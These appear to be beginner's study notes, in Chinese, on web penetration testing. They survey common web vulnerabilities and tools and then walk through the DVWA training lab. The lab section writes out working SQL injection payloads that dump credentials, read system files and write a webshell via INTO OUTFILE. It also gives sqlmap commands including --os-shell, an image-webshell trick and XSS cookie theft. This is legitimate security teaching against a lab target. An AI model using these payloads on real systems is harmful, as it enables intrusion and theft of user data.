web渗透初学笔记
web基础知识
前端漏洞：钓鱼、暗链、xss、点击劫持、csrf、url跳转
后端漏洞：sql注入、命令注入、文件上传、文件包含、暴力破解
例子
报文
熟悉状态码
目前流行的网站架构
搭建phpstudy集成软件
在PHPstudy的mySQL中操作SQL语法
创建数据库 CREATE DATABASE my_db;
查看数据库 SHOW databases;
切换数据库 USE my_db;
删除数据库 DROP DATABASE my_db;
TIPS:分号作为语句的结束，程序中会自动补充
web安全基础
常见的安全事件
篡改网页
搜索引擎语法Site:domain(在某个域名或子域名下的网页)+Intitle:keyword(正文中含有关键词的网页)/Intitle:keyword(标题中含有关键词的网页)
exa：keyword为hacked by:时往往能查到自己管理域名下被黑的网站
------------------------------------------------------------------------------------------------------------------------------------------------------------------
暗链
优化在搜索引擎里的排名
不是为人准备，是为搜索引擎中的爬虫准备的。
------------------------------------------------------------------------------------------------------------------------------------------------------------------
webshell
获得管理权限后->上传webshell=(小/大)马=后门
------------------------------------------------------------------------------------------------------------------------------------------------------------------
常见web漏洞
XSS Who stole my keys
概念：黑客通过"html注入"篡改网页，插入了恶意脚本(即xss脚本)，当用户在浏览网页时，实现控制用户浏览器行为的一种攻击方式。
危害：盗取用户信息/钓鱼/制造蠕虫等
三种类型 ：存储型/反射型/DOM型
存储型：攻击代码位置：数据库；输出：HTTP响应
反射型：攻击代码位置：url ；输出：HTTP响应。
DOM型：攻击代码位置：url ；输出：DOM节点。
------存储型演示------
左管理端/右访问端
上传xss脚本
结果
------反射型演示------
------DOM型演示------
不能通过查看源代码的方式找到xss脚本的位置，通过firebug可以。
在源码中输入hash
总结
------------------------------------------------------------------------------------------------------------------------------------------------------------------
CSRF who moved my cheese
概念：利用用户已登陆的身份，在用户毫不知情的情况下，以用户的名义完成非法操作。
危害：执行恶意操作(被转账/被发垃圾评论等)/制造蠕虫等
黑客构造的恶意网页
------------------------------------------------------------------------------------------------------------------------------------------------------------------
点击劫持
概念：通过覆盖不可见的框架误导受害者点击而造成的攻击行为。利用iframe或者其他标签的属性。
效果
------------------------------------------------------------------------------------------------------------------------------------------------------------------
URL跳转
概念
header头跳转
js跳转
meta标签实现跳转
------------------------------------------------------------------------------------------------------------------------------------------------------------------
SQL
原理：数据和代码未分离，即数据当成了代码来执行
一次SQL注入的过程
SQL注入的必备条件
1.可以控制输入的数据
2.服务器要执行的代码拼接了控制的数据
危害：获取数据库信息
管理员后台用户名和密码
获取其他数据库敏感信息：用户名/密码/手机号码/身份证/银行卡信息...
整个数据库：脱裤
获取服务器权限
植入webshell，获取服务器后门
读取服务器敏感文件
万能密码
------------------------------------------------------------------------------------------------------------------------------------------------------------------
命令注入
step：
1.调用可执行系统命令的函数
2.函数或函数参数可控(条件
3.拼接注入命令
& 拼接符，一次执行拼接的命令
| 管道符，前面命令的输出作为后面命令的输入
PHP执行命令的函数
system/exec/shell_exec/eval......
一个函数或函数参数都不可控的例子
命令执行的结果跟DOS环境中一样
一个参数可控的例子
拼接过程。注：&符号需转义为%26
------------------------------------------------------------------------------------------------------------------------------------------------------------------
文件操作漏洞
文件上传漏洞
1.可以上传可执行脚本
2.脚本拥有执行权限
任意文件下载漏洞
1.未验证下载文件格式
2.未限制请求的路径
文件包含漏洞
本地文件包含
远程文件包含
重要的两个参数：allow_url_fopen = On(是否允许打开远程文件);allow_url_include = On(是否允许包含远程文件);
web安全工具
代理抓包分析工具
web漏洞扫描工具初级
在线工具
传统web站点渗透测试基本步骤
------------------------------------------------------------------------------------------------------------------------------------------------------------------
比较流行的代理抓包工具
Burpsuite/charles/fiddler
浏览器插件
Advanced Cookie Manager/Firebug/HackBar/Proxy Switcher
Firebug：网络与审查页面元素
Hackbar：构造数据包
Cookie Manager：修改Cookie值
------------------------------------------------------------------------------------------------------------------------------------------------------------------
敏感文件探测
部署python环境
敏感文件：敏感文件对于网站来说，就像是网站(网站管理员)的秘密日记，这些文件没有被保护好被访问者发现了，就有可能暴露站点的脆弱性或保密数据。
常见的”敏感文件“类型：
网站管理后台(login.xx)/数据文件(.sql)/备份文件(.tar.gz)/webshell(.php?)/
常用软件：御剑/add:用py自写字典生成器
tips：判断站点脚本类型asp/php/aspx/jsp
1.判断网站下index.xxx(xxx为asp/php等)类型是否存在
------------------------------------------------------------------------------------------------------------------------------------------------------------------
漏扫工具
AWVS/Netsparker/AppScan
风险
- 对目标站点的误伤(高流量，请求了危险功能(如删除数据库)...)
- 漏扫的盲区：逻辑漏洞
------------------------------------------------------------------------------------------------------------------------------------------------------------------
SQL注入漏洞
sqlmap获取
发现和利用sql注入漏洞基本流程
1.找到有数据库交互的功能页面(如：xxx/artist.php?artist=1 问号+参数)
2.判断页面是否存在sql注入(artist=1' 报错存在注入)
3.利用sql注入漏洞读取数据进行注入尝试：GET/POST
sqlmap中level和risk参数的作用
实战
DVWA环境的部署
1.下载DVWA到www目录下
2.config文件下config.inc.php文件中的$_DVWA[ 'db_password' ]项改为自己mysql的密码
3.访问localhost/dvwa路径/setup.php检测环境是否配置好
4.访问localhost/dvwa路径/login.php 登陆名默认为admin/密码默认为password===============================================================================================
- 1.暴力破解
辅助工具owasp zap(官网www.owasp.org)
===============================================================================================
- 2.命令注入
命令拼接符
| A&B | 简单拼接，AB无制约 |
| A&&B | A执行成功，接着才能执行B |
| A|B | A的输出作为B的输入 |
| A||B | A执行失败才会执行B |
技巧：不显示输出结果...
ADD：DNS查询
===============================================================================================
- 3.CSRF
==============low============
HH-Tamperdata抓包 -> Replay in browser -> 改包 ->构造js/html(包装url)
==============medium============
HH-Tamperdata抓包 -> Replay in browser -> 改包 ->构造html(Tamper Popup:改变referer)
==============high============
===============================================================================================
- 4.文件包含
==============low============
本地文件执行
远程文件执行
dvwa的host，远程执行文件成功
==============medium============
本地文件执行
远程文件执行
dvwa的host，远程执行文件成功
==============high============
本地文件执行
远程文件执行
phpinfo.txt内容
dvwa的host，远程执行文件成功
===============================================================================================
- 5.文件上传
==============low============
cmd.php文件内容
==============medium============
step1.proxy switcher&zap设置代理开启
step2.两次抓包结果对比(right/wrong；zap)
step3.不断用成功上传包的内容替换失败的位置，进行重放，然后看响应包的结果；确定文件类型被服务端限制
step4修改文件类型->发送修改后的包->后续操作与low等级一样
==============high============
制作"内涵图"
cmd：copy R.jpg/b + W.txt/a 2.jpg
W.txt内容
除了借助文件包含漏洞，还可借助web容器解析漏洞
如：nginx解析漏洞
phpstudy切换->确认变量cgi.fix_pathinfo=1
畸形解析
xxx/xxx.php只要前一个文件存在，就会当成后面php文件的解析
==============impossible============
文件重命名/文件压缩重生成/存储目录执行权限/存储目录与web分离
===============================================================================================
- 6.SQL回显注入
需检测到id参数sql注入
http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#
如果存在注入，则会报错并且把错误的信息展示出来
You have an error in your SQL...
三种注入POC;判断闭合方式
...where user_id = $id =》 ...where user_id = 1 or 1024=1024
...where user_id =' $id' =》 ...where user_id = '1' or '1024'='1024'
...where user_id = ''$id'' =》 ...where user_id = ''1'' or ''1024''=''1024''
sql注入中通常需要闭合，如果yu'j语句比较复杂，则使用sql注释符闭合
# --空格 /**/
#：与url中的#区分，常编码成%23
查询之前需要确定查询字段数
1' order by 25-- =》 ?id=1'+order+by+25--+
再利用二分法查找
==============low============
------获取数据库的敏感信息------
确定回显点
?id=xx'+union+select+1,2--+
查询数据库版本/目录)
?id=xx'+union+select+@@version,@@datadir--+
查询用户名/数据库名(查到数据库dvwa)
?id=xx'+union+select+user(),database()--+
查询表名(查到表users)
?id=xx'+union+select+1,table_name+from+information_schema.tables+where+table_schema='dvwa'--+
查询列名
?id=xx'+union+select+1,column_name+from+information_schema.columns+where+table_name='users'--+
查询用户名/密码
?id=xx'+union+select+user,password+from+users--+
------获取系统的敏感信息------
文件读取
?id=xx'+union+select+1,load_file("c:\\windows\\win.ini")--+
------控制服务器------
写入webshell
php一句话木马
前提：需知写入的地方，即木马放置的物理路径
套路：引发异常，暴出物理路径
1.构造错误的sql语句
?id=xx'+union+select+“xx”,"xx"+into+outfile+"xx"--+
2.成功获取web目录
D:\phpstudy\www\DVWA-1.9\vulnerabilities\sqli\source\low.php
3.写入webshell
?id=xx'+union+select+"","webshell"+into+outfile+'DVWA-1.9\\cmd.php'--+
4.访问，成功写入
5.成功读取
sqlmap了解一下？
登陆状态下
攻击参数
sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#" -p "id" --cookie "cookie参数"
查询用户和数据库
qlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#" -p "id" --cookie "cookie参数" --current-user --current-db
查询表
sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#" -p "id" --cookie "cookie参数" -D dvwa --tables
查询列名
sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#" -p "id" --cookie "cookie参数" -D dvwa -T user --columns
sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#" -p "id" --cookie "cookie参数" -D dvwa -T user -C "user,password" --dump
上传webshell
sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ ?id=1 &Submit#" -p "id" --cookie "cookie参数" -D dvwa -T user -C "user,password" --os-shell
============medium============
Tamper Data改包
单引号转义： 利用hackbar上把数据库名(dvxa)HEX编码0x64767761 =》 重新发包
sqlmap自动
多了一个--data
sqlmap.py -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/” --data “id=1 &Submit#" -p "id" --cookie "cookie参数"
==============high============
手工相似
sqlmap需要一些技巧
多了--data和--second-order
sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/session-input.php(跳转后的页面)” --data “id=1 &Submit#" -p "id" --cookie "cookie参数" --second-order "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/(原页面)"
===============================================================================================
- 7.SQL盲注
数据库的执行结果不会直接显示在页面上，页面的结果只会显示真和假两种状态
三种注入POC;判断闭合方式
...where user_id = $id =》 ...where user_id = 1 and 1024=1025
...where user_id =' $id' =》 ...where user_id = '1' and '1024'='1025'
...where user_id = ''$id'' =》 ...where user_id = ''1'' and ''1024''=''1025''
先猜解长度
1' and length(database()) >25 -- =》 ?id=1'+and+length(database()) >25+--+ 利用二分法查找
再猜解字符
利用函数substr(expression,start,length)获取定义内的字符/子字符串 expresstion:原始字符串，start:子串开始位置，length子串长度
利用函数ascii(string)获取第一个字符的ascii数值
?id=1'+and+ascii(substr(database(),1,1))>64+--+ 二分法对每一个字符进行比对查找
SQL盲注分：布尔型(以上这类)/延时型(以下这类)
函数if(A,1,0) A为真返回1，为假返回0
?id=1'+and+sleep(if(length(database())=5,5,0))--+
真
假
注：此外除了真假/延时，还有benchmark(count,expr)函数可利用
sqlmap
==============low============
同回显注入一样
==============medium============
一样
==============high============
失效
Firebug分析：id写到了cookie中再提交
sqlmap.py -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli_blind/” -p "id" --cookie "cookie参数" --lever 2
注：lever>=2
==============impossible============
检测了id数据类型，使用了预编译绑定id变量；
===============================================================================================
- 8.xss
客户端代码注入，通常注入代码是js脚本
能弹窗，就说明存在xss
--------------------------------------------------反射型-----------------------------------------------------------
==============low============
建立一个cookie.php文件，放入数据库根目录下(localhost/)
插入弹窗脚本
弹窗，说面存在xss替换成远程盗取cookie的语句
进行URL编码后即可在本地服务器指定位置(localhost/)下得到(hacked)用户的cookie
跳转到登陆页面，更换cookie，直接访问首页(login.php -> index.php)
==============medium============
tip:大小写混合